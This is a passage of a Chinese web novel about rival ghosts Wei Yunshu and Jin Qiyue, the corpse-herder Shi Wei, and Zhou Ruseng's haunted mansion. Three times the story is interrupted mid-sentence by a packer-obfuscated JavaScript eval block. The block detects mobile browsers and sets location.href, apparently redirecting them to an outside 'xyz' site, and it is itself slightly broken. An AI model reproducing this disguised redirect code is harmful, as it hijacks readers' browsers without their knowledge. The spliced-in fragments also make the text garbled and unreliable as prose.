金绮月哈哈一笑,跟只红蝴蝶似的转到卫韫书面前,嚣张地说:“非要爱他们也行,可你偏要爱上懦弱胆小的家伙,那个周如森,知道你是鬼,吓得都快尿了,哈哈哈哈!” 金绮月凑近卫韫书,笑道:“我听说,你还活着的时候,爱上的就是一个和周如森一样懦弱的男人,如今成了鬼,那种人成了你的执念,所以你只会一遍又一遍地爱上类似的人,永远重复你的执念。” 金绮月继续输出:“一遍一遍爱上类似之人,一次一次受同样的伤,受了伤就躲起来哭,还觉得别人多对不起自己,我看,跟别人没有关系,是你脑子有毛病!” 金绮月哈哈大笑,指着卫韫书说:“太可怜了。” 金绮月抓起一缕头发把玩,笑道:“幸好我没有这种执念,不然怎么能愉快地玩男人呢?” 金绮月嘲笑卫韫书重复执念,可这就是鬼啊,鬼没有执念就成不了鬼,鬼必定会重复执念,这是不可改变的定律。 卫韫书是个倔骨头,她不愿在口舌上输给金绮月,看着金绮月冷冷地说:“是,我的执念是可怜,但你呢金绮月,你没有执念吗?你的执念是什么呢?是回不去的家,还是弱小时护不住的人?” 这一箭,正中红心。 卫韫书厉害啊,直击金绮月软肋。 金绮月脸一黑,阴沉沉地看着卫韫书。 金绮月幽幽地说:“你已经得罪过我一次了,现在又得罪一次,你真是自己找死。” 卫韫书得罪过金绮月。 卫韫书为什么会得罪金绮月?一切要从一个叫周如森的男人说起。 周如森是个擅长占卜的巫师,他有个宅子,是座凶宅,凶宅的井下放着12具棺材,棺材里躺着12个半死又没死透的怪物,据说怪物曾经是人,追求长生不老用错了方法,修炼邪术,才变成这个样子。 怪物经常从井下跑出来,在周宅作怪,周如森只懂占卜,其它本事没有,他不知道如何杀死这些玩意。不过周如森有个很厉害的未婚妻,未婚妻帮他解决了怪物,未婚妻把那些半死不活的人变成了干尸,让它们不再出来骚扰人。 周如森的未婚妻就是卫韫书,当时周如森还不知道她是鬼。 要解决怪物,必须用到一件法宝,叫鬼珊瑚。鬼珊瑚在西海海底,本是一种特殊的珊瑚品类,日日吸收因海难死去的船员的不甘与怨气,最终变成了鬼气森森的鬼珊瑚。 鬼珊瑚能补充鬼力,对鬼来说是很好的补品,金绮月也想要,卫韫书去找鬼珊瑚的时候就遇上了金绮月。卫韫书运气好,先金绮月一步拿走了鬼珊瑚,这下可把金绮月惹恼了。虽然失去一株鬼珊瑚对金绮月来说不算什么大事,但被一个比自己等级低的鬼抢走了自己想要的东西,这口气,谁咽得下? 就这样,金绮月跟卫韫书结了仇。 金绮月想杀卫韫书,但她发现,卫韫书不是一般的夜叉鬼,她身上好像有什么东西,那东西赋予卫韫书强大的能量。 金绮月不知道,那东西,是一块弥月刃碎片。 碎片是周如森送给卫韫书的,周如森手里其实有两片,都是他们周家祖传下来的。虽然周如森不知道这碎片有什么珍贵之处,但毕竟是祖传之物,周如森小心珍藏着,遇到卫韫书后,两人相爱,周如森取了其中一片,在上面刻了一首情诗,送给卫韫书当定情信物,卫韫书很珍视,将其挂在心口。 弥月刃碎片蕴含强大能量,大大提升了卫韫书的鬼力,让卫韫书这个夜叉鬼有了可以跟神通鬼抗衡的实力。尽管卫韫书要赢金绮月还很困难,但一时之间金绮月也奈何不了卫韫书。 卫韫书用鬼珊瑚帮周如森解决掉家里的怪物后,忽然有一天周如森知道了卫韫书的真实身份——卫韫书是鬼,周如森非常害怕,吓得赶忙悔婚,躲在家里闭门不出,不敢见卫韫书。卫韫书被辜负,心灰意冷,远走他乡。 这个“他乡”就是漠歌,金绮月一路追她,也从中原来到了大漠。 金绮月想要超脱世间、玩弄人间,就必须做最强者,金绮月不会允许比她强大的鬼出现,也无法容忍实力快逼近她的卫韫书存在,卫韫书威胁到了金绮月,金绮月就必须除掉她。 树林里,没有任何预兆,金绮月突然显现狰狞鬼相,浓烈的鬼气聚集,金绮月身后出现神通鬼法相,一个盘膝而坐的女童。 女童怒目圆睁,朝卫韫书爆发怒火,一只黑色大手出现在了卫韫书头顶,手掌朝卫韫书劈去! 卫韫书不甘示弱,瞬间,她长出犄角尖牙,头发呈火焰状,面目狰狞,她手拿三叉戟,勇武地举起三叉戟朝黑色大手叉去。 金绮月又玩起了翻绳,黑色的绳子在她指尖灵活翻转,在她的控制下,那两只披着人皮的鬼奴重新醒来,不顾死活地朝卫韫书扑去。 黑色大手汇聚金绮月的鬼气,作为等级最高的神通鬼,金绮月的鬼力最强、鬼气最浓,虽然卫韫书周身也围绕着浓重的鬼气,但还是被金绮月压了一头。 按理来说,这种情况下卫韫书很快就会被金绮月打死,可就在这时,卫韫书的人皮下,贴着她心口的位置,一片小小的铁片亮起了微弱的光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15363462|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那块刻着情诗的弥月刃碎片,因为是周如森送的,所以卫韫书很珍视,生怕弄丢了,她觉得用荷包收起来或者用绳子挂在脖子上都不够安全,索性放在了自己身体里。 鬼的身体是空的,五脏器官都是假的,是幻化出来的,只有最外面那张人皮是真东西。卫韫书将弥月刃碎片贴着人皮内侧放置,就贴在心口的位置。 刚才卫韫书把弥月刃碎片从身体里拿出来怀念时,不小心弄丢在荆棘丛,时魏帮她找到后,她赶紧又放回了身体里。 眼看卫韫书就快被金绮月打死了,藏在人皮下的弥月刃碎片开始源源不断地向卫韫书输送能量。突然卫韫书的鬼力被放大几倍,瞬间冲破金绮月的压制,突围出去。 黑色大手一收,金绮月后退了半步,不解地“咦”了一声,自言自语道:“总是这样,每次快要把她杀死的时候,她好像总能突然爆发。” 卫韫书浑身鬼气弥漫,她一伸手,三叉戟指向金绮月,卫韫书下巴微抬,说道:“金绮月,我不是你对手,但你也杀不了我。” 金绮月心想:这家伙是有点本事。夜叉鬼跟神通鬼只差了一个等级,我不能眼睁睁地看着她越来越强,最后压在我头上。必须提早将她除去,这世上只能有一个最强的鬼,我金绮月要的是唯我独尊。 金绮月是个聪明的,她没有蛮打,而是眼珠子骨碌一转,嘻嘻笑了一声,说:“那就下次见咯。” 金绮月一跳,跳回了树后面,瞬间消失了,她带来的两个鬼奴也跟着不见了。 卫韫书的犄角尖牙收了回去,头发放了下来,手中的三叉戟消失不见,又变回了那个面带愁容,清丽温雅的美丽女子。 夜晚,绿洲。 无垠的星空悬挂在头顶,湖边燃起火堆,火光照亮时魏的脸,时魏躺在地上,还没从昏迷中苏醒。 金绮月和卫韫书的打斗没有波及时魏,时魏保住一条命。 沙漠里昼夜温差大,白天很热,夜晚很冷,火堆是用来取暖的,给谁取暖呢?当然不是给卫韫书,卫韫书是鬼,不怕冷,火堆是用来给时魏取暖的。 时魏陷在噩梦中,梦里,两只青面獠牙的恶鬼在打斗。 打到激烈处,时魏猛的睁眼,醒来了。 时魏被噩梦吓得满头大汗,醒来后马上大口喘气。 时魏首先看到的是美丽的夜空,夜空中星河烂漫;接着他一转头,就看到了坐在一旁的卫韫书。 卫韫书不怕冷,所以坐得离火堆较远,她一袭青衣,清丽无双,满目忧愁地望着远方发呆。 178. 来的是金绮月 时魏仔细回忆,想起自己白天遇到鬼了,是仙女姐姐救了自己。 时魏去看自己被鬼奴咬伤的地方,发现伤口还在,但不再溃烂,说明毒已经解了。 一定是仙女姐姐帮自己解了毒。 时魏望向卫韫书,发现此时的卫韫书很忧郁,忧郁到让人心疼。 白天的时候,仙女姐姐在恶鬼面前镇定自若,威严强大,可白天时那么强大的一个人,夜晚却露出了脆弱的模样,叫人怜惜。 仙女姐姐也有脆弱的一面吗?时魏想。 不知是不是这种反差感带给时魏的冲击力太大,有一瞬间,时魏的心不受控制地动了一下。 对一个人动心,从来都只需要一瞬间。 时魏呆呆地看着忧郁的卫韫书,屏住呼吸。 忽然,时魏想起了什么,他紧张地四处张望,神色慌张。 “你在找什么?”卫韫书问。她的声音格外冷淡。 听到卫韫书的声音,时魏“唰”的一下脸一红,结结巴巴道:“我……我找我的尸体大哥。” 卫韫书往湖对面一指,只见在湖对面乖乖坐着五个黑影,五个黑影一动不动,正是时魏的尸体大哥。 时魏一喜,从衣服里摸出铜铃。时魏摇响铜铃,铃声传到湖对面,五个黑影整齐划一地站起来,一个接着一个,排着队,沿着湖边走来。 五个尸体走到时魏跟前,时魏看到他们无恙,心里悬着的一颗石头落了回去,说:“好险好险,尸体大哥们都没事。” 他这样子,让卫韫书觉得有些可爱,卫韫书笑了一下。 时魏赶紧跑到卫韫书身边,对卫韫书说:“仙女姐姐,谢谢你救了我。” “我不是什么仙女姐姐。”卫韫书道,“我叫卫韫书。”接着她还补充了一句:“是只恶鬼。” 她想,早点告诉时魏自己是恶鬼也好,省得他对自己抱有过于美好的期待和幻想,一旦发现自己是鬼,就会跟周如森一样露出惊恐畏惧的表情。 惊恐畏惧的是周如森,可受伤的却是卫韫书。 卫韫书想,金绮月说得真对,自己真蠢、真窝囊,都到夜叉鬼这个级别了,还能被一个男人的惊恐畏惧伤了心。 时魏刚想说“哈哈,怎么会呢,仙女姐姐真会开玩笑”,但还没等他开口,突然,身后有什么东西拍了拍他的肩膀。 时魏转头,看见身后站着一个穿着灰衣和斗笠的尸体,尸体的腰间系着红绳。 时魏第一反应这是他赶的尸体,哈哈笑道:“尸体大哥,你回去坐着,不要乱动。” 突然,时魏怔住了。 不对!虽然这具尸体穿着灰衣和斗笠,腰间还系着红绳,但但但……这张脸怎么这么陌生! 装束虽然是被赶尸体的装束,但这个人,是个陌生人! “你不是我的尸体大哥!你是谁?”时魏吓得后退。 时魏朝五个尸体的方向看去,只见五个尸体都乖乖坐着,一动也不动,那多出来的这个尸体是谁? 这个“人”冲着时魏诡异地笑了。接着,他匍匐在地上,像条蛇一样朝时魏爬来。 时魏吓得大叫,他连连退后,退后时还不忘拉了一把卫韫书,说:“仙女姐姐,快走!” 卫韫书却一点都不着急,她冲时魏冷笑一声,幽幽道:“仙女姐姐是吧?我现在就让你看看,我是不是仙女姐姐?” 话音刚落,卫韫书的形象突然变了,这个清丽的女子在时魏面前长出犄角尖牙,头发变成火焰状,面目狰狞,手里还拿着三叉戟。 夜叉鬼。 时魏被卫韫书夜叉鬼的形象吓了一跳,一屁股坐到地上。 卫韫书目视多出来的“人”,手中三叉戟一掷,三叉戟插在那人身上,一股黑烟冒起,那人的身体变成了蛇形,周身萦绕着鬼气,但脸还是张人脸。 这是条人面蛇,金绮月的鬼奴。金绮月用障眼法让它看起来像个人。 卫韫书杀了人面蛇,收了三叉戟,整个人,不,整个鬼强大又冷漠。 卫韫书变回原样,对时魏说:“看清楚了吗?” 时魏木然点头。 “看清楚了,那就离我远点。”卫韫书冷道。 卫韫书走进树林里。 卫韫书觉得时魏不会再跟过来了。 身处黑暗的时候,内心深处的伤心事就容易苏醒,甚至蹦出来,蹦到眼前。卫韫书想起周如森,一会想起两人快乐的时光,一会想起周如森懦弱的样子,内心愁绪万分,在黑暗的树林里低低抽泣。 时魏居然来了。 时魏小心翼翼地说:“卫韫书姐姐,你在哭吗?” “我是恶鬼,你还敢来?” “鬼又怎样?你今天救了我,你是我的大恩人。” 卫韫书冷笑一声,“我帮那人对付井中怪物的时候,那人也说我是大恩人。” “那人是哪个人?那个人欺负你了吗?” 卫韫书许久不说话。 时魏大胆地靠近卫韫书。 突然,卫韫书伸手一拉时魏的衣领,把他拉到自己跟前,用一种困惑的语气问他:“我问你,如果你的爱人是鬼,你会娶她吗?” 林子里很黑,时魏看不清卫韫书的脸,只能通过声音和触感感受到卫韫书此时离自己很近。不知怎的,卫韫书近在咫尺的声音仿佛有温度,钻入时魏耳朵,烫得时魏呼吸一窒,耳根一红。 时魏回答:“如果是真心相爱,为何不娶?自然要娶。” “你所言是真?” “当然是真。” “你倒有胆。可为何……他那么害怕?” 从卫韫书话里,时魏猜到了什么。 时魏说:“他害怕是因为他懦弱,世上有人大胆就有人懦弱。他懦弱是他的事,反倒是姐姐,为何要为一个懦夫掉眼泪?不值啊。” 卫韫书如遭雷击。 金绮月的话在卫韫书耳边响起:“我听说,你还活着的时候,爱上的就是一个和周如森一样懦弱的男人,如今成了鬼,那种人成了你的执念,所以你只会一遍又一遍地爱上类似的人,永远重复你的执念。” 时魏继续劝道:“他懦弱就让他懦弱去,姐姐为什么要爱那样的人呢?” 卫韫书眼眸一垂,说:“这哪是能够控制的?” 时魏忽然笑出声,说:“姐姐说自己是鬼,但我看,姐姐哪里像鬼?姐姐重情,比人还要像人。” 卫韫书微微一笑,道:“鬼曾经也是人啊。鬼是扭曲了的人。” “那鬼也会伤心吗?” “会。” “鬼也会生气?” “会。” “也会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405811|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同的品性?” “当然。” “那鬼就是人啊!”时魏欢快道,他是个乐天派。时魏对卫韫书说:“姐姐,这样吧,你要是伤心,就跟我说说话。” 时魏往后一躺,躺在野草上,说:“既然鬼跟人一样,那缓解人伤心的法子,用在鬼身上也是一样有用的。我师父曾说人会伤心是因为太喜欢往回看,既然伤心的原因是想起过往,那只要身边有个人跟你一直聊天,聊到你没有工夫回想往事,就不会伤心啦!” 时魏坐了起来,对卫韫书说:“姐姐,我跟你聊天吧。” “聊什么?”卫韫书问。 “虽然这是我第一次独自赶尸,但之前我跟师父师兄们一起赶过好几次了,去过很多地方,我把我在不同地方的见闻告诉姐姐,姐姐要是觉得我的故事有趣的话,作为交换,姐姐也把你们鬼的故事告诉我,好不好?” 于是,当晚,卫韫书和时魏在树林里聊了一晚上的天。 时魏的方法果然有效,卫韫书没那么伤心了,不在树林里哭了。 时魏还有任务在身上,他要把五具尸体赶回家乡。时魏重新上路前,对卫韫书说:“姐姐,你一直都在这片绿洲里吗?你等我赶完尸体,赶完尸体,我就回来陪你讲故事,好不好?” 卫韫书道:“我一直都在这里,你不用刻意来找我,以后,若你赶尸途中经过这片沙漠,就顺路进来歇歇脚,这样就可以了。” 于是,从那以后,时魏每次赶尸都“顺路”经过那片沙漠。 时魏当然是故意的,他只是想去绿洲见卫韫书而已,有几次明明赶尸路线不经过那片沙漠,可时魏宁可绕路也要去那片沙漠,哪怕天气恶劣,他也要去。 一个人要是真想见另一个人,没机会也会创造机会,因为天气、时间等各种各样原因见不到的,其实都是不想见。 一次又一次与卫韫书在绿洲见面后,时魏愈发确定了自己的心意——他喜欢卫韫书。 时魏觉得自己有机会,因为卫韫书已经很久没再提起周如森,时魏认为卫韫书已经把那个懦弱的男人忘了。 时魏是个顺从自己心意的人,随逐于心,随心而动,遵从本心,卫韫书是鬼又如何,内心喜欢,那就不要逃避。 时魏决定了,这次就跟卫韫书表明心意。 在这次的赶尸任务中,时魏又故意绕路,走入了那片沙漠。 时魏骑着骆驼,赶着四具尸体,尸体排成一列,整齐有序地走在沙漠中。 烈日当空,晒得人皮肤火辣辣的疼,然而时魏一想到自己要去表白,心情就很好,人心情好的时候连烈日都觉得是温柔的。 忽然,无垠的沙漠中传来一阵金铃声。金铃声忽远忽近,一会在西方,一会在东方,一会在南方,一会在北方。 铃声诡异,吓得时魏东张西望,寻找铃声来源。当他把目光收回来时,突然发现刚才还站着走路的四具尸体竟然齐刷刷朝一个方向跪下了。 时魏无比惊讶,朝尸体跪的方向看过去,映入眼帘的是一抹红裙。 时魏揉了揉眼睛,发现沙漠中站着一个穿着红裙的少女,少女个子小小,五官精致,一脸娇俏,手上戴着金镯,金镯上挂着金铃。 来的是金绮月,可时魏不认得她,上次金绮月现身跟卫韫书打斗的时候,时魏刚好晕过去了。 179. 第二道门 时魏“哟”了一声,欢快地说:“哪家的小姑娘,一个人在这沙漠里,是迷路了吗?” 金绮月长相精致,像个陶瓷娃娃,美丽又易碎,孤零零地站在沙漠里,看着叫人心生怜爱。 时魏注意到金绮月身上什么也没带,有些担心她,便道:“小姑娘,你身上有水没有?有吃的没有?没水没吃的,你一个人在这沙漠里会死的,这样吧,要不你跟我一起,我正准备前往一片绿洲。” 金绮月小步小步走向时魏,她的脚步又小又快,十分古怪。 金绮月冲着时魏笑道:“哥哥,你去那片绿洲做什么呀?是去找人吗?” “你这小姑娘怎么这么聪明?”时魏欢快道,“我就是去找人呀,去找我喜欢的人。” 金绮月掩嘴轻笑,她把手抚在时魏坐的骆驼上,突然,骆驼轰然倒地,笨重的身体震起飞沙漫天。 那骆驼突然死了。 “哎呀。”时魏赶紧从骆驼上跳下来,震惊地看着骆驼。 金绮月一脸无辜地朝时魏眨巴眨巴眼。 时魏正想说什么,可还没等他开口,那骆驼的尸体突然发生了恐怖的变化,一条条黑蛇从骆驼的眼睛和口鼻中钻了出来,骆驼的身体瘪了下去,成了一张完整的骆驼皮。 金绮月“哎呀”一声,紧紧抓住时魏的衣袖,害怕得瑟瑟发抖,她说道:“哥哥,蛇啊!我害怕!” 其实这时候时魏也害怕,但他想着有个更柔弱的小姑娘在自己身边,自己不能怂啊,于是他强装镇定,挡在金绮月面前,安抚她道:“没事的,不怕。” 时魏拿出他的铜铃,“叮叮当当”摇响了,时魏边摇边说:“嘿嘿,幸好我跟师父学了驱蛇咒,什么毒蛇、毒虫,都近不了我的身!” 作为一个赶尸人,赶尸过程中经常走山路,山路上多毒虫毒蛇,能要人命,所以驱蛇咒和驱虫咒是每个赶尸人必学的。 时魏得意地摇着驱蛇咒,可无论他怎么摇,那些黑蛇就是不后退,反而一丛一丛、一簇一簇朝时魏爬来。 时魏大惊,“不可能啊!怎么驱蛇咒没用?” “因为,它们不是蛇啊。”这时,金绮月幽幽的声音从时魏身后传来。 “不是蛇是什么?”时魏下意识地问。 金绮月轻笑一声,回答他:“是鬼啊。” 紧接着,金绮月雪白的小手攀到了时魏肩膀上,时魏转头一看,眼睁睁地看见那只雪白的小手在他眼前变成了一只狰狞的蛇头。 时魏“哇呀”一声跳出去老远,他再看金绮月,却发现金绮月突然变了样,眼睛变成了血红色,苍白到诡异的脸上爬满黑色的繁复花纹,她周身黑气弥漫,朝时魏露出一个阴森森的微笑。 时魏吓得后退,一个趔趄站不稳,摔在了沙子上。 他一摔,那一群黑蛇马上朝他涌来,这势头,是要吞噬他! 就在这时,金绮月打了个响指,那群黑蛇猛的一下消失不见了,而金绮月也瞬间变回了原样。 金绮月走到时魏身边,笑吟吟地去扶他,对他说:“哥哥,吓到你了吗?抱歉哦,这只是我跟哥哥开的一个小玩笑啦。” 时魏震惊地看着金绮月,“你……” 金绮月在时魏身边蹲下,笑嘻嘻地说:“我是鬼呀。” 金绮月眨巴眨巴眼,无辜道:“怎么,哥哥,很奇怪吗?鬼有什么好奇怪的呢?你那个在绿洲等你的爱人,不也是鬼吗?她是鬼,我也是鬼,怎么你不怕她,却怕我呢?” 时魏想了想,心想也是,卫韫书是鬼,自己都能喜欢卫韫书,怎么就不能跟别的鬼和谐相处呢? 时魏哈哈一笑,拍了拍身上的沙子,站了起来,对金绮月说:“你说的对,我不该怕你,卫韫书说了,鬼是扭曲了的人。鬼就是不同形态的人,小姑娘,我不怕你。” 时魏拿起铜铃和竹竿,用竹竿轻拍他这次赶的几具尸体,让他们重新排成整齐的队伍。 骆驼是不能骑了,时魏准备赶着尸体,步行前往绿洲。 时魏朝金绮月露出一个灿阳般的笑,说:“我要去绿洲,小姑娘鬼,你要一起吗?” 时魏坦坦荡荡,对金绮月已经没有了惧意,金绮月眯着眼打量了时魏几秒,笑道:“卫韫书这次的缘分,倒是还行。” 时魏听到金绮月说起卫韫书的名字,惊喜问道:“小姑娘鬼,你也认识卫韫书?” 金绮月小步小步走到时魏身边,步子虽小但很快。 金绮月抿嘴一笑,对时魏说:“是呀,我与卫姐姐是老熟人了。我今天也是来绿洲找她的,可是啊,她不在绿洲,她离开了。” “她离开了?怎么会?她去哪里了?” “哥哥不要着急,卫姐姐只是离开一段时间,她还会回来的。我知道她去哪了,她去中原了,去找她那个前未婚夫周如森去了。” 时魏大脑“嗡”的一下,一片空白。 金绮月继续道:“一个月前,卫姐姐给远在中原的周如森送了一封信,说她要回去看看他过得怎么样。周如森很害怕,用了不知道什么法子,把自家府宅沉到地底,带着家人躲避卫姐姐。” 时魏“哼”了一声,说:“躲到地底?怕成这样,真不像个男人。” 金绮月说:“卫姐姐无法接近周宅,可她又不甘心,她还生周如森的气,所以就造了座凶宅在周宅上面,死死压住周宅。” 卫韫书造的这座凶宅,就是后来路回的外公宋辉民的中式豪宅。凶宅凶煞,会克主人,宋辉民住在里面本来凶多吉少,幸好周夙动了凶宅的阵眼,把宅子的凶煞之气化去,才保了宋辉民周全。 时魏问:“卫韫书做完这些后,就会回来了吧?” “回来倒是会回来,但可能还跟着一个人。” “谁?” “周如森呀。” “他不是躲到地底去了吗?” “他把家人安置到地底,自己又上来找卫姐姐了,他跟卫姐姐说,当年悔婚,根本不是因为他惧怕卫姐姐,他是有苦衷的。” “卫韫书不可能还信他的鬼话。” 金绮月轻笑两声,说:“哥哥呀,你真是太不了解鬼了。周如森的话再不可信,卫姐姐都一定会相信的,因为她爱他。” “不可能,那么一个懦弱胆小的男人……” “卫姐姐就是会跟懦弱胆小的男人纠缠。”金绮月轻笑,“哥哥呀,你知不知道执念这种东西?卫姐姐生前爱的就是这类男人,于是这成了她的执念,鬼注定会重复生前的执念,所以卫姐姐注定会一遍又一遍地爱上类似的人。” 金绮月凑近时魏耳边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431361|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“给她换个类型,换个不懦弱、不胆小的,她反而爱不上。” 时魏沉默了半晌,问:“这就是鬼吗?” “对啊,这就是鬼。” 时魏又沉默了半晌,最后说出一句:“那真可怜。” 时魏又问:“小姑娘鬼,你的执念是什么?” 金绮月吸了吸鼻子,抽泣道:“是我的家人。” 时魏感叹:“那你一定是个非常顾家的人。” 金绮月用力点头。 金绮月凑到时魏跟前,问:“哥哥,你想看卫姐姐去找周如森发生了什么吗?” “你能让我看到?” “能呀。” 金绮月扬起一个天真烂漫的笑。 金绮月打了个响指,他们脚底下的一片沙丘突然动了起来,消失的黑蛇一条接着一条从沙子底下冒了出来,速速爬到一起,攒成一团,直到攒成一面镜子的形状,金绮月手一挥,一施鬼术,它真的变成了一面大镜子。 镜子里出现了绿草如茵、绿树成林的画面,那不是大漠,而是遥远的中原,那里气候宜人,温暖湿润。 金绮月笑嘻嘻地指着镜子,对时魏说:“哥哥,请看吧。” 镜子里出现了一座宅子,但不是周如森的周宅,此时周如森已经借另一块弥月刃碎片的能量,把周宅沉到地底去了,这栋宅子是卫韫书为了报复周如森而压在周宅上的凶宅。 如果不明真相的人走进了这栋宅子,一定会以为宅子的主人是个大富大贵之人,因为宅子十分豪华,里面有很多丫鬟和小厮,连丫鬟穿的衣服都是用昂贵的丝绸做的,丫鬟们端着盘子,盘子里有精美的糕点和从西域运来的水果,一个接着一个排成队,低着头,小步小步地走,她们的步子虽然小,但速度却很快,像是戏台上伶人表演的“鬼步”。 一个赶路的书生路过凶宅,这时天色已晚,还下了雨,书生敲了敲门,想借宿一晚,避一避雨。 开门的是个年轻的小丫鬟,书生说明来意,小丫鬟对书生说:“可以借宿,但你只能在外边的柴房里睡,放心,柴房有篷,今晚断不会让你淋了雨。” 小丫鬟又说:“园子你是不能进的,今天晚上,无论听到园子里有什么声音,都不许进来,明白了吗?” 书生连忙说:“小生明白。” 小丫鬟点点头,小步小步走进了园子,她的步子又小又碎,速度却快,晃眼间倒像是飘着的一样。 柴房就在大门边上,书生在柴房里躺下。这宅子有两道门,第一道门是大门,就是刚才书生敲开的那道门,还有第二道门,第二道门里才是豪华的庭院。 第二道门没关严实,书生依稀能看到门里的一点光景,门中庭院是苏式园林风格,亭台楼阁、水榭廊桥、花园戏台,应有尽有,极尽奢华。 书生把两条手臂枕在脖子下,心想:这里的主人真小气,这么大的宅子,连间客房都不舍得让出来,只让我睡柴房。 到了晚上,园子里热闹了起来,虽然隔着一道门,但书生依然能听到里面传来的丝竹管乐声、说笑声还有唱戏的声音。 书生闭上眼,想象里面是怎样一副热闹的光景。 那声音实在太吸引人,书生经受不住诱惑,忍不住从柴房里出来,蹑手蹑脚走近了第二道门。 180. 千万不要害怕 书生从门缝中瞥见,园子内张灯结彩,戏台上伶人唱戏,衣着华丽的美人们坐在廊桥上说笑,好一个人间仙境。 书生被一种不知名的魔力吸引,推开了门,进了园子。 没人拦他,他便一直往前走,园子里的美人们自顾自地说笑,跟没看到他似的。 书生被一个身穿鹅黄色衣服,手拿香云纱团扇的少女吸引,少女独自坐着,气质婉约,她背对着书生,书生从背后看到她白而透粉的耳尖上吊着翡翠坠子,坠子一晃一晃,连带着书生的心潮也一晃一晃。 书生的心脏像被什么东西击中,“砰砰”狂跳。 书生开始幻想少女的模样,她一定有一双柳叶眉,是个瓜子脸…… 于是书生大着胆子靠近少女,弓身一揖,说:“小姐,请问……” 他还没开始他的台词,那身穿鹅黄色衣服的少女就转过了身,出现在书生面前的却不是他想象中的秀美面庞,而是一个恐怖的骷髅头! 书生吓得大叫一声,跌坐在地,脸色苍白。 骷髅头站了起来,一步步接近书生,书生的屁股往后挪,慌慌张张不知所措。骷髅头问书生:“公子,你要与我说什么?” 书生怕得连连摇头,“没有,没有……” 书生恐惧地爬起来,想跑出园子,就在这时,园子里所有的人,包括坐在廊桥上的华服美人和戏台上的伶人都面对书生站了起来,她们挪着小步小步的碎步子朝书生走来,书生一看她们的脸,竟然全都是骷髅头! 骷髅头们堵死了出园子的路,书生吓得腿一软,就要瘫倒在地,然而这时,一只手抓住了书生的胳膊,把他提了起来。 书生吓得大叫,一边挣扎一边说:“别吃我!别吃我!” “公子莫慌。”身后传来一个男人的声音。 书生颤颤巍巍地转身,发现站在自己身后的不是骷髅头,而是一个普通男人。 男人身穿青衫,气质儒雅,相貌端正,只是脸色稍显苍白。 “你,你……”书生嘴唇颤抖。 男人笑道:“放心,我是人,不是鬼,我叫周如森。公子误入凶宅,幸好遇到了我,不然可要被凶宅里的恶鬼生吞活剥了。” “周先生!周先生救我!”书生像是抓住了救命稻草。 周如森温和地握住书生的手,将他往门口带。周如森说:“公子放轻松,千万不要害怕,尤其不能发抖。这凶宅里的鬼只吃看到它们的脸后会害怕的人,若是你不害怕,它们反而不会害你。” 书生听了周如森的话后,克服心中的恐惧,忍住不要发抖。 果然,书生忍住恐惧后,那些骷髅头又回到了原来的位置,该干嘛干嘛,脸也变回了原来的脸。 周如森牵着书生的手,把他带到门口,一路上宅子里的鬼跟没看到他们似的,并未阻拦。 周如森把书生送出门,但他自己没出去,周如森站在园子门口对书生说:“公子,你快走吧,这一路千万莫回头。” 书生问:“那周先生你呢?这是凶宅,周先生你也快逃吧!” 周如森摇头,说:“我要等人,公子你走吧。” 书生匆匆辞别了周如森,慌忙离开凶宅,头也不回地跑了。 周如森进入园子,跟那些鬼一直呆到天亮。 天亮后,园子里的鬼全部消失,周如森坐在长凳上闭目养神。忽然,一道裙摆出现在周如森眼底,周如森嘴角露出笑意。 “我知道你会来的,我在等你。”周如森抬起头,仰望来人。 来人是卫韫书。 卫韫书看着周如森,目光中含着恨意,恨到想马上杀死周如森。 可有爱才有恨,有恨就有爱。 周如森并不害怕卫韫书,相反,他面带笑意,坦坦荡荡。周如森微笑着说:“建这个凶宅压住周宅,你还在跟我置气,对吗韫书?” “韫书也是你叫的?”卫韫书冷道。 “上次你走之前把我的家丁全部变成了鬼,他们赖在周宅不走,所以这几年我一直跟一群鬼生活在一起。” “你越是怕鬼,我就越要让鬼包围着你。怎么样,这几年被鬼包围的感觉如何?”卫韫书感受到了报复成功的快感。 她说完,周如森突然“扑通”一声跪在了她面前,伸手去抓她的手。 “韫书,我已经不怕鬼了,你看,我昨晚一个人呆在园子里,一点都不害怕。”周如森朝卫韫书露出深情的表情,说:“只要我克服了自己的恐惧,我俩就能继续在一起了!” “你在胡说八道什么?”卫韫书骂道。 “我知道你在恼我。几年前我看到你真面目的时候,露出了害怕的表情,我知道当时我的反应让你伤心了,可是韫书,我只是个普通人,普通人没有不怕鬼的,你要理解我。” 